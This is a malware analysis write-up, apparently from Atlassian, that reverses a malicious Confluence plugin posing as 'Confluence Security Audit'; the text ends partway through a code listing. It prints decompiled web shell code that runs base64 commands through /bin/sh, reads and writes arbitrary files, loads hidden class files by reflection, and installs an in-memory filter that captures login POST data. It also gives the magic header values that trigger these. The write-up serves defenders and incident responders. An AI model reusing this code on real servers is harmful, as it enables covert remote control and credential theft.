Reversing a malicious Confluence server/data center app

The information from this document is provided as is. Atlassian does not perform any security investigations for on-premise customer setups.

Introduction

Software companies usually offer software that has features and functionalities that may not meet the entire customer's needs. Hence, these companies seek to extend its software capabilities by offering customers the ability to build and utilise extensions, apps and plugins. As a result, entire ecosystems have been created such as the ones for Android and iOS and in the case of Atlassian it is the Marketplace.

Plugins or apps are attractive targets for attackers because they add new functionality that was not included as part of the core features of a product. Plugins, in a broad sense, allow powerful primitives such as some degree of code execution and data read/write, as long as a generic plugin interface is implemented. In most cases, once loaded into the application, there is a very thin isolation layer, if at all, for the added functionality.

This document describes the reversing of an advanced malicious app/plugin for Atlassian Confluence server/DC which adds web shell functionality. The plugin implements web shell core functionalities like: arbitrary code execution by living off the land of Linux/Windows platforms, arbitrary file read/write in native Java without external dependencies, and harvesting login credentials. Additional functionalities of the web shell include: anonymous access, magic headers and guard flags to decide when to enable extra functionality and requests to respond to, obfuscation of its core functionality code using encryption.

The rest of the document is structured as follows: a background section introduces basic concepts and sets the stage. Next, an analysis section reverses the plugin code and explains its implementation from the point of view of the reverse engineer. Then a synthesis section reviews the plugin features from the point of view of its user, the attacker. Finally the conclusion summarizes the findings.

Background

Web shells

Web shells are software modules that implement a remote accessible interface in a web server or service. They are commonly added to existing web applications after compromise by malicious actors who subsequently interact with it via web requests. They may or may not include ways of hiding their presence, for example via magic headers (web request headers with specific values that determine if the requests are accepted by the web shell or ignored). We will describe in a following section how a web shell is added to Confluence, a web-based wiki developed in Java by Atlassian, via a plugin.

Confluence plugins

Confluence plugins (also known as apps) are software modules that add new functionality to a Confluence instance and are typically written in Java. Plugins can be manually installed by an administrative user via the UI or in a semi-automated fashion by packing it in a specific format and dropping the file at a location where Confluence automatically installs it at the next restart.

The web shell

An unknown Confluence plugin

A user of a production on-premise Confluence instance accessible over the Internet observed an unknown plugin while inspecting the installed plugins.

The plugin was nowhere to be found on the Atlassian Marketplace, the official repository for plugins for Atlassian products. A quick inspection of the plugin XML description attributed it to Atlassian:

<plugin>
      <key>com.atlassian.plugins.content.confluence-security-audit</key>
      <name>Confluence Security Audit</name>
      <version>1.2.5</version>
      <vendor>Atlassian</vendor>
      <status>DISABLED</status>
      <vendor-url>https://www.atlassian.com/</vendor-url>
      <framework-version>2</framework-version>
      <bundled>User installed</bundled>
</plugin>

However its source was not present in any of the internal repositories of Atlassian. A quick verification in VirusTotal and Google of the plugin JAR file hash value returned no match so it was not known commodity malware. At this point we wanted to have a closer look at the mysterious plugin, conveniently named Confluence Security Audit to disguise it as an audit tool.

39f8b6d3103a94174bf68c870e69fb81b7d732a5  confluence-security-audit-1.2.5_v1.2.jar

Reversing a suspicious Confluence plugin

Java compiled applications have a lot of redundant information in them. So much that the de-compilation process is trivial and there is little if any loss of information. This means that the source can be obtained with almost no information loss and dynamic analysis is rarely needed to understand the functionality of the code. In our case static analysis was enough to understand the plugin functionality and extract indicators of compromise. In this section we focus on the static analysis of the plugin, using the simple and excellent Java decompiler http://java-decompiler.github.io/.

The JAR file hierarchy is the following:

JD-GUI_confluence_security_audit_jar.png

The interesting files from the archive are: MANIFEST.MF, com.atlassian.plugins.content.ContentRestResource.class, com.atlassian.plugins.content.content-plugin-settings.xml, com.atlassian.plugins.content.rest.ContentRestResource.class and com.atlassian.plugins.content.rest.content-plugin-settings.xml.

All other files in the JAR contain dependencies that are not modified and bring little to no useful information for the understanding of the plugin functionality. (If you are wondering we did inspect all of it, including the meta-information of the PNG files.)

 

The manifest file

Every Java archive (JAR) file contains a manifest file with interesting information about when the archive was produced, by whom and what are its imports and exports among other things. The suspicious JAR file had the following manifest file interesting bits of information:

...
Bundle-Description: This is the com.atlassian.plugins.content:ContentM
 anager plugin for Atlassian Refapp.
Bundle-SymbolicName: com.atlassian.plugins.content.confluence-security-audit
Built-By: U01034
Bnd-LastModified: 1653288375031
Bundle-ManifestVersion: 2
Bundle-DocURL: https://www.atlassian.com/
Bundle-Vendor: Atlassian
...
Atlassian-Plugin-Key: com.atlassian.plugins.content.confluence-security-audit
Tool: Bnd-3.5.0.201709291849
Spring-Context: *
...
Atlassian-Build-Date: 2022-05-22T22:46:14-0800
Created-By: Apache Maven Bundle Plugin
Build-Jdk: 1.8.0_261

From this meta-information we find out a few interesting things: the Java version that produced it, the tool used to produce it https://bnd.bndtools.org/ and its version, the build date of 2022-05-22T22:46:14-0800, the modification date of Monday, May 23, 2022 6:46:15.031 AM, the username that build it U01034 as well as a list of export and import packages. The plugin will use all the XML configuration files in the META-INF directory to create the Spring application context. The bundle vendor is listed as Altassian but there is no signature of the plugin which means it can pretend to be built by anyone.

 

The class files

The class files com.atlassian.plugins.content.ContentRestResource.class and com.atlassian.plugins.content.rest.ContentRestResource.class are the ones that implement the plugin functionality.

This functionality provided by the first class file com.atlassian.plugins.content.ContentRestResource.class that implements an API is summarized in the table below:

Endpoint

Request

Headers

Parameters

Note

/content

GET

 

content

If the value is a base64 encoded string then it decodes and executes it in a bash process.

If {0,1} it reads the payload from com/atlassian.plugins.content/content-plugin-settings.xml and invokes the method action of the compiled object and passes false or true values to it to control its behavior.

The text that follows shows how to extract this information from the class file.

Decompiled com.atlassian.plugins.content.ContentRestResource.class (with redactions)

package com.atlassian.plugins.content;
// REDACTED: some imports ommited
import com.atlassian.plugins.rest.common.security.AnonymousAllowed;
...
import java.lang.reflect.Method;
...
import java.util.Base64;
...

@Path("/content")
public class ContentRestResource {
  @GET
  @AnonymousAllowed
  @Produces({"application/json", "application/xml"})
  public Response getMessage(@QueryParam("content") String content) {
...
    try {
      if (content != null)
        if (content.equals("0") || content.equals("1")) {
          InputStream is = ContentRestResource.class.getResourceAsStream("content-plugin-settings.xml");
          Objects.requireNonNull(is);
          byte[] data = convertToBytes(is);
... 
          Method declaredMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
          declaredMethod.setAccessible(true);
          Class<?> clazz = (Class)declaredMethod.invoke(classLoader, new Object[] { data, Integer.valueOf(0), Integer.valueOf(data.length) });
          if (content.equals("0")) {
            clazz.getDeclaredMethod("action", new Class[] { boolean.class }).invoke(...);
          } else {
            clazz.getDeclaredMethod("action", new Class[] { boolean.class }).invoke(...);
          } 
        } else {
          content = new String(Base64.getDecoder().decode(content));
          Process process = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", content });
          byte[] success = convertToBytes(process.getInputStream());
          byte[] error = convertToBytes(process.getErrorStream());
          result = new String(success) + new String(error);
        }  
    } catch (Exception exception) {}
    result = Base64.getEncoder().encodeToString(result.getBytes(StandardCharsets.UTF_8));
    return Response.ok(new ContentRestResourceModel(result)).build();
  }
  
  public byte[] convertToBytes(InputStream is) throws Exception {
    byte[] buff = new byte[1024];
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    int s = 0;
    while ((s = is.read(buff)) != -1)
      bos.write(buff, 0, s); 
    bos.close();
    is.close();
    return bos.toByteArray();
  }
}

One of the first things that stands out is a couple of imports:

import com.atlassian.plugins.rest.common.security.AnonymousAllowed;
...
import java.lang.reflect.Method;
...
import java.util.Base64;
...

These indicate the intention to use anonymous requests, reflection and a common encoding for arbitrary data. Nothing particularly malicious for each individually but combined they are providing this plugin with authentication bypass, arbitrary code injection/rewrite, and arbitrary payload encoding capabilities as we will see below.

The annotations in the code indicate the path to use for the functionality /content as well as the request method GET. (lines 10, 12 - 14 in the source above). A query parameter (content) is used either as a base64 encoded command that is decoded and executed (lines 32 - 38, notice the assumption of the shell sh being available):

          content = new String(Base64.getDecoder().decode(content));
          Process process = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", content });
          byte[] success = convertToBytes(process.getInputStream());
          byte[] error = convertToBytes(process.getErrorStream());
          result = new String(success) + new String(error);

or as a flag is used to select the behavior of a second stage functionality included in the plugin as the resource file content-plugin-settings.xml (lines 19 - 31):

if (content.equals("0") || content.equals("1")) {
          InputStream is = ContentRestResource.class.getResourceAsStream("content-plugin-settings.xml");
          Objects.requireNonNull(is);
          byte[] data = convertToBytes(is);
... 
          Method declaredMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
          declaredMethod.setAccessible(true);
          Class<?> clazz = (Class)declaredMethod.invoke(classLoader, new Object[] { data, Integer.valueOf(0), Integer.valueOf(data.length) });
          if (content.equals("0")) {
            clazz.getDeclaredMethod("action", new Class[] { boolean.class }).invoke(...);
          } else {
            clazz.getDeclaredMethod("action", new Class[] { boolean.class }).invoke(...);
          }

Notice the reading from a resource file followed by the use of reflection to create an object from the read data. We discuss the resource file contents in the following subsection, but for the moment we can have a few partial conclusions:

 

  • The plugin implements arbitrary command execution via the sh shell.

  • The plugin can selectively enable extra functionality via an externally controlled flag and reflection.

 

The second interesting file com.atlassian.plugins.content.rest.ContentRestResource.class adds extra functionality by implementing more API. The table below summarizes this functionality:

Endpoint

Request

Headers

Parameters

Note

/page/content/show/{key}

GET

Cache-Control max-age=0.5

key controls the behavior of the serialized object and subsequent payload obfuscation layers/stages.

The values {0,1} control the execution of stage 1,2 payloads.

A string base64 encoded is the command to execute in a bash shell.

/page/content/list

GET

Cache-Control max-age=0.5

X-Upgrade-Insecure-Requests cmd

 

cmd is the command to execute in a bash shell (base64 encoded).

/page/content/modify

POST

Cache-Control max-age=0.5

title contains the path of the file to be modified (base64 encoded).

content contains the content of the file to be overwritten (base64 encoded).

Allows the modification of any file that can be edited by the user that runs the Java process of Confluence.

/page/content/display

GET

Cache-Control max-age=0.5

X-Upgrade-Insecure-Requests fname

 

fname is the filename whose contents to display (base64 encoded). Allows the listing of any file that is readable by the user that runs the Java process of Confluence.

The following text explains how to extract the information in the table from the decompiled class file.

Decompiled com.atlassian.plugins.content.rest.ContentRestResource.class (with redactions)

package com.atlassian.plugins.content.rest;
// REDACTED: some imports ommited
import com.atlassian.plugins.rest.common.security.AnonymousAllowed;
...
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
...
import java.util.Base64;
...
import sun.misc.Unsafe;

@Path("/page/content")
@AnonymousAllowed
public class ContentRest {
  private static final String checkHeaderName = "Cache-Control";
  
  private static final String checkHeaderValue = "max-age=0.5";
  
  @GET
  @Path("/show/{key}")
  @AnonymousAllowed
  public Response show(@HeaderParam("Cache-Control") String check, @PathParam("key") String key) {
    try {
      if (!"max-age=0.5".equals(check))
        return Response.status(404).build(); 
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      try {
        String str;
        Objects.requireNonNull(key);
        InputStream isStream = getClass().getResourceAsStream("content-plugin-settings.xml");
        Objects.requireNonNull(isStream);
        byte[] classData = readToArray(isStream);
...
        Method declaredMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
        setAccessible(declaredMethod);
        Class<?> clazz = (Class)declaredMethod.invoke(classLoader, new Object[] { classData, Integer.valueOf(0), Integer.valueOf(classData.length) });
        if (key.equals("1")) {
          str = (String)clazz.getDeclaredMethod("action", new Class[] { boolean.class }).invoke(...);
        } else if (key.equals("0")) {
          str = (String)clazz.getDeclaredMethod("action", new Class[] { boolean.class }).invoke(...);
        } else {
          str = "Not permitted operation";
        } 
        bos.write(str.getBytes(StandardCharsets.UTF_8));
      } catch (Throwable throwable) {
        StringWriter sw = new StringWriter();
        PrintWriter pw = new PrintWriter(sw);
        throwable.printStackTrace(pw);
        pw.close();
        bos.write(sw.toString().getBytes(StandardCharsets.UTF_8));
      } 
      String result = Base64.getEncoder().encodeToString(bos.toByteArray());
      return Response.ok(result).build();
    } catch (Throwable throwable) {
      return Response.ok("Unexpected Error").build();
    } 
  }
  
  @GET
  @Path("/list")
  @AnonymousAllowed
  public Response list(@HeaderParam("Cache-Control") String check, @HeaderParam("X-Upgrade-Insecure-Requests") String query) {
    try {
      if (!"max-age=0.5".equals(check))
        return Response.status(404).build(); 
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      try {
        String cmd = new String(Base64.getDecoder().decode(query));
        Process process = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", cmd });
        InputStream inStream = process.getInputStream();
        InputStream errStream = process.getErrorStream();
        bos.write(readToArray(inStream));
        bos.write(readToArray(errStream));
        inStream.close();
        errStream.close();
      } catch (Throwable throwable) {
        StringWriter sw = new StringWriter();
        PrintWriter pw = new PrintWriter(sw);
        throwable.printStackTrace(pw);
        pw.close();
        bos.write(sw.toString().getBytes(StandardCharsets.UTF_8));
      } 
      String result = Base64.getEncoder().encodeToString(bos.toByteArray());
      return Response.ok(result).build();
    } catch (Throwable throwable) {
      return Response.ok("Unexpected Error").build();
    } 
  }
  
  @POST
  @Path("/modify")
  @AnonymousAllowed
  public Response modify(@HeaderParam("Cache-Control") String check, @FormParam("title") String title, @FormParam("content") String content) {
    try {
      if (!"max-age=0.5".equals(check))
        return Response.status(404).build(); 
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      try {
        String path = new String(Base64.getDecoder().decode(title));
        byte[] data = Base64.getDecoder().decode(content);
        FileOutputStream fos = new FileOutputStream(path);
        fos.write(data);
        fos.close();
        bos.write("success".getBytes(StandardCharsets.UTF_8));
      } catch (Throwable throwable) {
        StringWriter sw = new StringWriter();
        PrintWriter pw = new PrintWriter(sw);
        throwable.printStackTrace(pw);
        pw.close();
        bos.write(sw.toString().getBytes(StandardCharsets.UTF_8));
      } 
      String result = Base64.getEncoder().encodeToString(bos.toByteArray());
      return Response.ok(result).build();
    } catch (Throwable throwable) {
      return Response.ok("Unexpected Error").build();
    } 
  }
  
  @GET
  @Path("/display")
  @AnonymousAllowed
  public Response display(@HeaderParam("Cache-Control") String check, @HeaderParam("X-Upgrade-Insecure-Requests") String query) {
    try {
      if (!"max-age=0.5".equals(check))
        return Response.status(404).build(); 
      ByteArrayOutputStream bos = new ByteArrayOutputStream();
      try {
        String path = new String(Base64.getDecoder().decode(query));
        FileInputStream fis = new FileInputStream(path);
        byte[] data = readToArray(fis);
        fis.close();
        bos.write(data);
      } catch (Throwable throwable) {
        StringWriter sw = new StringWriter();
        PrintWriter pw = new PrintWriter(sw);
        throwable.printStackTrace(pw);
        pw.close();
        bos.write(sw.toString().getBytes(StandardCharsets.UTF_8));
      } 
      String result = Base64.getEncoder().encodeToString(bos.toByteArray());
      return Response.ok(result).build();
    } catch (Throwable throwable) {
      return Response.ok("Unexpected Error").build();
    } 
  }
  
  ...
  
  private void setAccessible(AccessibleObject accessibleObject) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    Field unsafeField;
    Unsafe unsafe;
    Field overrideField;
    long offset;
    String javaVersion = System.getProperty("java.specification.version");
    switch (javaVersion) {
      case "1.7":
      case "1.8":
        ...
      case "9":
      case "10":
      case "11":
        ...
    } 
  }
}

Notice in the decompiled source that the functionality that we saw before (enable extra functionality packed in a resource file – lines 20 - 58 above, and the execution of arbitrary commands passed via a header value – lines 60 - 89) is significantly expanded to include:

  • editing an arbitrary file with the path and content passed as parameters of a form (lines 91 - 118 in the snippet above),

  • read the contents of an arbitrary file on the filesystem with the path sent as the header X-Upgrade-Insecure-Requests value (lines 120 -146 in the snippet above).

Our partial conclusion can now be amended:

 

  • The plugin implements arbitrary command execution via the sh shell.

  • The plugin can selectively enable extra functionality via an externally controlled flag and reflection.

  • The plugin implements arbitrary file read/write in native Java, without relying on external processes like the shell in order to avoid behavioral detection that looks for spawned processes.

 

 

Java objects in XML resource files

 

We have a closer look at the XML resource files content-plugin-settings.xml which typically contain XML formatted data but in this case we have a surprise: the file contains a compiled class file. Remember that the content of these files is loaded with reflection and then executed as we established above. Let’s see what is inside.

The primary reason for using this type of packing of functionality is obfuscation. This will confuse any AV or static analyzer. It will also fool most dynamic analysis because in this case its code path is triggered by external input that the dynamic analysis cannot easily produce.

Typically Java disassemblers assume that the class file will have the same name as the class defined inside it. In our case the class file is renamed to content-plugin-settings.xml. For the trained eye the file is easy to categorize, because it contains stuff like the following snippet:

...
^@|^At^A^@^F<init>^A^@^C()V^A^@^DCode^A^@^OLineNumberTable^A^@^RLocalVariableTable^A^@^Dthis^A^@:Lorg/apache/standard/filter/ConfluenceIntegrationRegister;^A^@^Faction^A^@^U(Z)Ljava/lang/String;^A^@^QwebappClassLoader^A^@^WLjava/lang/ClassLoader;^A^@^OstandardContext^A^@*Lorg/apache/catalina/core/StandardContext;^A^@^Bsw^A^@^VLjava/io/StringWriter;^A^@^Bpw^A^@^ULjava/io/PrintWriter;^A^@   throwable^A^@^ULjava/lang/Throwable;^A^@^Fcreate^A^@^AZ^A^@
properties^A^@^VLjava/util/Properties;^A^@^Bsb^A^@^YLjava/lang/StringBuilder;^A^@^MStackMapTable^G^@õ^G^A       ^G^AW^G^A(^G^A^S^A^@^TgetWebappClassLoader^A^@^Y()Ljava/lang/ClassLoader;^A^@^Gcurrent^A^@^RgetStandardContext^A^@C(Ljava/lang/ClassLoader;)Lorg/apache/catalina/core/StandardContext;^A^@^Fremove^A^@C(Lorg/apache/catalina/core/StandardContext;Ljava/util/Properties;)V^A^@  filterMap^A^@1Lorg/apache/tomcat/util/descriptor/web/FilterMap;^A^@
...

which is a typical partial representation of class files that retain enough information to be reversible. However if in doubt the command file is your friend:

$ file content-plugin-settings.xml 
content-plugin-settings.xml: compiled Java class data, version 52.0 (Java 1.8)

Wouldn’t it be nice to find out the name of the class so that we can rename the file and then run it through the decompiler? Since this is a Java class the info is in there and it is enough to look for the fragment that specifies the SourceFile: 

SourceFile^A^@"ConfluenceIntegrationRegister.java

We now know that we can rename the file to ConfluenceIntegrationRegister.class and run it through the decompiler. Bingo! More Java code to inspect in the next section.

 

The layers of obfuscated Java code from XML resource files

In the section above we identified resource files that contain extra functionality such as credential harvesting. The contents of the files is made of compiled or obfuscated Java code. Notice that the plugin is organized in layers: it uses code that reads resource files which contain more code. This is a common organization for multi-stage malicious software.

We inspect the extra functionality and how it is implemented below.

* Filter registration

The com.atlassian.plugins.content.content-plugin-settings.xml file contains functionality to add new Spring filters to intercept and process specific requests.

Decompiled ConfluenceIntegrationRegister.class (with redactions)

// some imports REDACTED
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
...
import java.util.Base64;
...
import javax.servlet.Filter;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.standard.filter.ConfluenceIntegrationRegister;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.Unsafe;

public class ConfluenceIntegrationRegister {
  public static String action(boolean create) {
    Properties properties = new Properties();
    properties.put("FilterName", REDACTED);
    properties.put("ActiveHeaderName", REDACTED);
    properties.put("CommandHeaderName", REDACTED);
    properties.put("PasswordHeaderName", REDACTED);
    properties.put("BearHeaderName", REDACTED);
    properties.put("BearHeaderValue", REDACTED);
    properties.put("GetLoginHeaderName", "Upgrade-Insecure-Requests-X");
    properties.put("GetLoginHeaderValue", "x86_64");
    properties.put("MaxGrabSize", "50");
    StringBuilder sb = new StringBuilder();
    try {
      ClassLoader webappClassLoader = getWebappClassLoader();
      Objects.requireNonNull(webappClassLoader);
      StandardContext standardContext = getStandardContext(webappClassLoader);
      Objects.requireNonNull(standardContext);
      if (create) {
        create(webappClassLoader, standardContext, properties);
        sb.append("create success");
      } else {
        remove(standardContext, properties);
        sb.append("remove success");
      } 
    } catch (Throwable throwable) {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter(sw);
      throwable.printStackTrace(pw);
      pw.close();
      sb.append(sw);
    } 
    return sb.toString();
  }
  
  private static ClassLoader getWebappClassLoader() {
    ...
  }
  
  private static StandardContext getStandardContext(ClassLoader webappClassLoader) {
    return (StandardContext)((WebappClassLoaderBase)webappClassLoader).getResources().getContext();
  }
  
  private static void remove(StandardContext standardContext, Properties properties) throws Exception {
    ...
    for (FilterMap filterMap : filterMapsToRemove)
      standardContext.removeFilterMap(filterMap); 
    field = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
    setAccessible(field);
    Map<?, ?> filterConfigs = (Map<?, ?>)field.get(standardContext);
    filterConfigs.remove(filterName);
  }
  
  private static void create(ClassLoader webappClassLoader, StandardContext standardContext, Properties properties) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException, ServletException {
    String filterName = properties.getProperty("FilterName");
    Class<?> classLoaderClass = Class.forName("java.lang.ClassLoader");
    Method defineClassMethod = classLoaderClass.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
    setAccessible(defineClassMethod);
    String loader = REDACTED   
    byte[] loaderData = Base64.getDecoder().decode(loader);
    ClassLoader baseClassLoader = new URLClassLoader(new java.net.URL[0], webappClassLoader);
    Class<?> loaderClass = (Class)defineClassMethod.invoke(baseClassLoader, new Object[] { loaderData, ... });
    ClassLoader loaderIns = loaderClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
    String filter = REDACTED
    byte[] filterData = Base64.getDecoder().decode(filter);
    Class<?> filterClass = (Class)defineClassMethod.invoke(loaderIns, new Object[] { filterData, Integer.valueOf(0), Integer.valueOf(filterData.length) });
    Filter filterIns = filterClass.getDeclaredConstructor(new Class[] { Properties.class }).newInstance(new Object[] { properties });
...
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterName);
    filterMap.addURLPattern("/*");
    Constructor<?> constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(new Class[] { Context.class, FilterDef.class });
    setAccessible(constructor);
...
    standardContext.addFilterDef(filterDef);
    standardContext.addFilterMapBefore(filterMap);
    filterConfigs.put(filterName, filterConfig);
  }
  
  private static void setAccessible(AccessibleObject accessibleObject) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
...
    } 
  }
}

The processing is controlled by values of headers in the requests, for example the header Upgrade-Insecure-Requests-X. The filter definition is also an obfuscated object contained in variables loader and filter (lines 80, 85 above).

The com.atlassian.plugins.content.rest.content-plugin-settings.xml file is very similar in content as the one above but with a few differences in the properties values, including a hardcoded password.

Decompiled ConfluenceIntegrationRegister.class (with redactions)

... imports REDACTED

public class ConfluenceIntegrationRegister {
  public static String action(boolean create) {
    Properties properties = new Properties();
    properties.put("FilterName", "ConfluenceIntegrationRegister");
    properties.put("ActiveHeaderName", REDACTED);
    properties.put("PasswordHeaderName", REDACTED);
    properties.put("BearHeaderName", REDACTED);
    properties.put("BearHeaderValue", "1");
    properties.put("BearPassword", REDACTED);
    properties.put("GetLoginHeaderName", "Upgrade-Insecure-Requests-X");
    properties.put("GetLoginHeaderValue", "1");
    properties.put("MaxGrabSize", "40");
    StringBuilder sb = new StringBuilder();
    try {
      ClassLoader webappClassLoader = getWebappClassLoader();
      Objects.requireNonNull(webappClassLoader);
      StandardContext standardContext = getStandardContext(webappClassLoader);
      Objects.requireNonNull(standardContext);
      if (create) {
        create(webappClassLoader, standardContext, properties);
        sb.append("create success");
      } else {
        remove(standardContext, properties);
        sb.append("remove success");
      } 
    } catch (Throwable throwable) {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter(sw);
      throwable.printStackTrace(pw);
      pw.close();
      sb.append(sw);
    } 
    return sb.toString();
  }
  
  private static ClassLoader getWebappClassLoader() {
...
  }
  
  private static StandardContext getStandardContext(ClassLoader webappClassLoader) throws Exception {
    ...
  }
  
  private static void remove(StandardContext standardContext, Properties properties) throws Exception {
    ...
    for (FilterMap filterMap : filterMaps) {
      if (filterMap.getFilterName().equals(filterName))
        filterMapsToRemove.add(filterMap); 
    } 
    for (FilterMap filterMap : filterMapsToRemove)
      standardContext.removeFilterMap(filterMap); 
    field = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
    setAccessible(field);
    Map<?, ?> filterConfigs = (Map<?, ?>)field.get(standardContext);
    filterConfigs.remove(filterName);
  }
  
  private static void create(ClassLoader webappClassLoader, StandardContext standardContext, Properties properties) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException, ServletException {
    String filterName = properties.getProperty("FilterName");
    Class<?> classLoaderClass = Class.forName("java.lang.ClassLoader");
    Method defineClassMethod = classLoaderClass.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
    setAccessible(defineClassMethod);
    String loader = REDACTED
    byte[] loaderData = Base64.getDecoder().decode(loader);
    ClassLoader baseClassLoader = new URLClassLoader(new java.net.URL[0], webappClassLoader);
    Class<?> loaderClass = (Class)defineClassMethod.invoke(baseClassLoader, new Object[] { loaderData, ... });
    ClassLoader loaderIns = loaderClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);
    String filter = REDACTED
    byte[] filterData = Base64.getDecoder().decode(filter);
    Class<?> filterClass = (Class)defineClassMethod.invoke(loaderIns, new Object[] { filterData, Integer.valueOf(0), Integer.valueOf(filterData.length) });
    Filter filterIns = filterClass.getDeclaredConstructor(new Class[] { Properties.class }).newInstance(new Object[] { properties });
...
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterName);
    filterMap.addURLPattern("/*");
    Constructor<?> constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(new Class[] { Context.class, FilterDef.class });
    setAccessible(constructor);
...
    standardContext.addFilterDef(filterDef);
    standardContext.addFilterMapBefore(filterMap);
    filterConfigs.put(filterName, filterConfig);
  }
  
  private static void setAccessible(AccessibleObject accessibleObject) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    ...
    } 
  }
}

The first layer of our obfuscated resource files is as detailed above a piece of code that registers a Spring filter. The second layer of obfuscation contains the filter and some auxiliary code. Let’s see what those are about.

* Harvesting credentials

We used the same technique as before to decompile 2 new classes: GlobalDebugLoader.class and ConfluenceIntegrationFilter.class contained in the loader and filter variables mentioned above.

Decompiled GlobalDebugLoader.class

import java.net.URL;
import java.net.URLClassLoader;
import org.apache.catalina.filters.CsrfPreventionFilter;
import org.apache.standard.filter.GlobalDebugLoader;

public class GlobalDebugLoader extends URLClassLoader {
  public GlobalDebugLoader() {
    super(new URL[0], GlobalDebugLoader.class.getClassLoader());
  }
  
  public URL findResource(String name) {
    URL url = super.findResource(name);
    if (url == null) {
      String disName = name.replace("\\", "").replace("/", "");
      String tarName = GlobalDebugLoader.class.getPackage().getName().replace(".", "");
      if (disName.contains(tarName))
        return CsrfPreventionFilter.class.getClassLoader().getResource(CsrfPreventionFilter.class.getName().replace(".", "/") + ".class"); 
    } 
    return url;
  }
}

Decompiled ConfluenceIntegrationFilter.class 1st variant (with redactions)

... imports REDACTED 

public class ConfluenceIntegrationFilter implements Filter {
  private final String ActiveHeaderName;
  private final String CommandHeaderName;
  private final String PasswordHeaderName;
  private final String BearHeaderName;
  private final String BearHeaderValue;
  private final String GetLoginHeaderName;
  private final String GetLoginHeaderValue;
  private FilterConfig filterConfig;
  private boolean effective = true;
  private StringBuilder GrabResult = new StringBuilder();
  private final int MaxGrabSize;
  ...
  private boolean match(ServletRequest servletRequest) {
    try {
      HttpServletRequest request = (HttpServletRequest)servletRequest;
      if (request.getMethod().equalsIgnoreCase("POST") && (request
        .getRequestURI().contains("dologin.action") || request.getRequestURI().contains("doauthenticate.action")))
        return true; 
    } catch (Throwable throwable) {}
    return false;
  }
  
  private void grab(ServletRequest servletRequest) {
    try {
      RequestFacade request = getRequest(servletRequest);
      Objects.requireNonNull(request);
      record(readPostData(request));
    } catch (Throwable throwable) {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter(sw);
      throwable.printStackTrace(pw);
      pw.close();
      record(sw.toString().getBytes(StandardCharsets.UTF_8));
    } 
  }
  
  private void record(byte[] data) {
    try {
      this.GrabResult.append(String.format("\n-----%s-----\n", new Object[] { Long.valueOf(System.currentTimeMillis()) }));
      this.GrabResult.append(Base64.getEncoder().encodeToString(data));
      this.GrabResult.append(String.format("\n-----%s-----\n", new Object[] { Long.valueOf(System.currentTimeMillis()) }));
    } catch (Throwable throwable) {}
  }
  
  private byte[] readPostData(RequestFacade request) throws Exception {
    Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
    setAccessible(requestField);
    Object connectRequest = requestField.get(request);
    Field coyoteRequestField = Class.forName("org.apache.catalina.connector.Request").getDeclaredField("coyoteRequest");
    setAccessible(coyoteRequestField);
    Object coyoteRequest = coyoteRequestField.get(connectRequest);
    Field inputBufferField = Class.forName("org.apache.coyote.Request").getDeclaredField("inputBuffer");
    setAccessible(inputBufferField);
    Object inputBuffer = inputBufferField.get(coyoteRequest);
    Field byteBufferField = Class.forName("org.apache.coyote.http11.Http11InputBuffer").getDeclaredField("byteBuffer");
    setAccessible(byteBufferField);
    ByteBuffer byteBuffer = (ByteBuffer)byteBufferField.get(inputBuffer);
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    String urlString = String.format("request url: %s\n", new Object[] { request.getRequestURL() });
    String remoterString = String.format("remote address: %s\n", new Object[] { request.getRemoteAddr() });
    bos.write(urlString.getBytes(StandardCharsets.UTF_8));
    bos.write(remoterString.getBytes(StandardCharsets.UTF_8));
    bos.write(10);
    try {
      Enumeration<String> headerNames = request.getHeaderNames();
      if (headerNames != null)
        while (headerNames.hasMoreElements()) {
          String headerName = headerNames.nextElement();
          Enumeration<String> headers = request.getHeaders(headerName);
          if (headers != null)
            while (headers.hasMoreElements()) {
              String header = headers.nextElement();
